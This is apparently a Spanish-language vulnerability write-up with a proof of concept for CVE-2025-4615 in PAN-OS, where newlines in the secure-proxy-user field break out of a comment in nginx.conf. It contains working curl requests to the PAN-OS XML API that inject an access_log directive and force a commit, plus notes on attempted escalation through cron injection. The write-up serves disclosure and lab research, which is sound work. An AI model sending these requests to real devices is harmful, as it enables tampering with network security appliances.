
cve-2025-4615 PoC y análisis profundo
Vulnerabilidad: Neutralización Inadecuada de Entrada en la Interfaz Web de Administración de PAN-OS
Vendor Advisory: https://security.paloaltonetworks.com/CVE-2025-4615
CVSS 4.0: 6.9 (MEDIO) — Integridad ALTA, Disponibilidad ALTA
CWE: CWE-83 (Neutralización Inadecuada de Script en Atributos en una Página Web)
CAPEC: CAPEC-165 (Manipulación de Archivos)
Crédito: Visa Inc.
Fecha de Análisis: 2026-03-26
CVE-2025-4615 es una vulnerabilidad de inyección de nueva línea en el campo de configuración secure-proxy-user de PAN-OS de Palo Alto Networks. Un administrador autenticado puede inyectar caracteres de nueva línea (\n) en el nombre de usuario del proxy a través de la API XML o la interfaz web. Durante el commit, este valor se escribe sin sanitizar en /etc/nginx/nginx.conf, saliendo de una línea de comentario e inyectando directivas arbitrarias de nginx.
Impacto:
access_log inyectadaNota: La corrección del proveedor (eliminación de caracteres de nueva línea) es incompleta — el mismo campo sigue siendo vulnerable a Cross-Site Scripting almacenado (XSS) porque no se aplica codificación de salida ni lista de caracteres permitidos.
El campo secure-proxy-user está definido en el esquema de PAN-OS (schema.xml) como una cadena simple sin sanitización de entrada:
<element name="secure-proxy-user" optional="yes" type="string"
help-string="Secure Proxy user name to use"/>
Nota: secure-proxy-server tiene una restricción de expresión regular (regex="^([0-9a-zA-Z.:/_-])+$"), pero secure-proxy-user no tiene ninguna. Hay un límite de 31 caracteres, pero sin restricciones de caracteres.
Durante el commit, PAN-OS regenera /etc/nginx/nginx.conf a partir de una plantilla (/etc/nginx/nginx.conf.tmpl). La plantilla contiene:
#pan_proxy_comment %s
El marcador %s es rellenado por la función de la biblioteca libpanmp_mp.so que concatena el servidor proxy, el nombre de usuario y la contraseña cifrada en una sola cadena. En la versión vulnerable, los caracteres de nueva línea en el nombre de usuario se pasan sin modificar.
Cuando secure-proxy-user contiene a\naccess_log /tmp/pwn3;\n#, el nginx.conf generado se convierte en:
#pan_proxy_comment 8.8.8.9 a — Comment (harmless)
access_log /tmp/pwn3; — INJECTED DIRECTIVE (executed by nginx!)
# -AQ==encrypted_password== — Password commented out by injected #
La línea 1 es un comentario. La línea 2 es una directiva nginx válida a nivel del bloque http. La línea 3 es neutralizada por el carácter # del atacante.
El proceso maestro de nginx se ejecuta como root. La directiva access_log hace que nginx abra/creé el archivo destino como root. Esto permite:
En la versión corregida (11.1.13), el escritor de configuración elimina los caracteres de nueva línea del nombre de usuario del proxy antes de escribirlo en nginx.conf. El mismo valor malicioso produce:
#pan_proxy_comment 8.8.8.9 aaccess_log /tmp/pwn3;# -AQ==encrypted_password==
Todo permanece en una línea, de forma segura dentro del comentario #.
Sin embargo, esta corrección es incompleta. Solo aborda la inyección de nueva línea. El campo secure-proxy-user aún acepta caracteres arbitrarios (incluyendo ", <, >) sin codificación de salida, dejando el vector XSS almacenado totalmente abierto. Ver unit-43-xss.
secure-proxy-server configurado (necesario para que aparezca el comentario del proxy)curl -sk "https://<PANOS_IP>/api/?type=keygen&user=admin&password=<PASSWORD>"
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode "element=<secure-proxy-server>8.8.8.9</secure-proxy-server>"
# Payload: "a\naccess_log /tmp/pwn3;\n#"
# Total: 26 characters (within 31-char limit)
# Injects: access_log /tmp/pwn3; — creates /tmp/pwn3 as root
curl -sk -X POST "https://<PANOS_IP>/api/" \
--data-urlencode "type=config" \
--data-urlencode "action=set" \
--data-urlencode "key=<APIKEY>" \
--data-urlencode "xpath=/config/devices/entry[@name='localhost.localdomain']/deviceconfig/system" \
--data-urlencode 'element=<secure-proxy-user>a
access_log /tmp/pwn3;
#</secure-proxy-user>'
curl -sk "https://<PANOS_IP>/api/?type=commit&cmd=<commit><force></force></commit>&key=<APIKEY>"
Después de que el commit se completa (~30s):
/tmp/pwn3 se crea con propietario rootnginx -t -c /etc/nginx/nginx.conf reporta: syntax is okEl valor no sanitizado de secure-proxy-user se propaga a múltiples archivos:
Los escritores de curlrc (/root/.curlrc) y wgetrc (/root/.wgetrc) sí eliminan las nuevas líneas, incluso en la versión vulnerable. El escritor de nginx.conf fue la única ruta que no sanitizaba.
Pruebas exhaustivas de 11 vectores de ataque confirmaron que RCE a nivel de sistema operativo independiente solo desde CVE-2025-4615 no es alcanzable en PAN-OS 11.1.6-h7 con nginx 1.20.1. Los tres bloqueadores críticos:
\x0A en nginx — impide la inyección de nuevas líneas sin procesar en archivos de registro, bloqueando la inyección de cron a pesar de la tolerancia de vixie-cron a líneas basura (confirmado en laboratorio: cron sí ejecuta líneas válidas rodeadas de basura)log_format + access_log para obtener control de contenido sobre los archivos escritosLa frase del aviso "ejecutar comandos arbitrarios" probablemente se refiere a directivas nginx arbitrarias, no a ejecución de comandos a nivel de sistema operativo. Esto es consistente con el CVSS VC:N (sin impacto en confidencialidad) y la naturaleza de la corrección.
Si alguno de los tres bloqueadores estuviera ausente, RCE sería trivialmente alcanzable mediante la inyección de cron.
Análisis realizado en entorno de laboratorio aislado con PAN-OS 11.1.6-h7 (vulnerable) y PAN-OS 11.1.13 (corregido).
| Archivo | Impacto |
|---|
/etc/nginx/nginx.conf | Crítico — inyección de directiva nginx |
/opt/pancfg/tmp/.tdb_conf.xml | Configuración de base de datos de plantilla (inyección XML) |
/opt/pancfg/mgmt/audit/cfg-audit.xml,v | Corrupción de registro de auditoría |
/opt/pancfg/mgmt/replaydb/replay.db | Corrupción de base de datos de reproducción |
| Configuraciones de demonio generadas por XSL (authd, cord, useridd, etc.) | Valor XML preservado con nuevas líneas |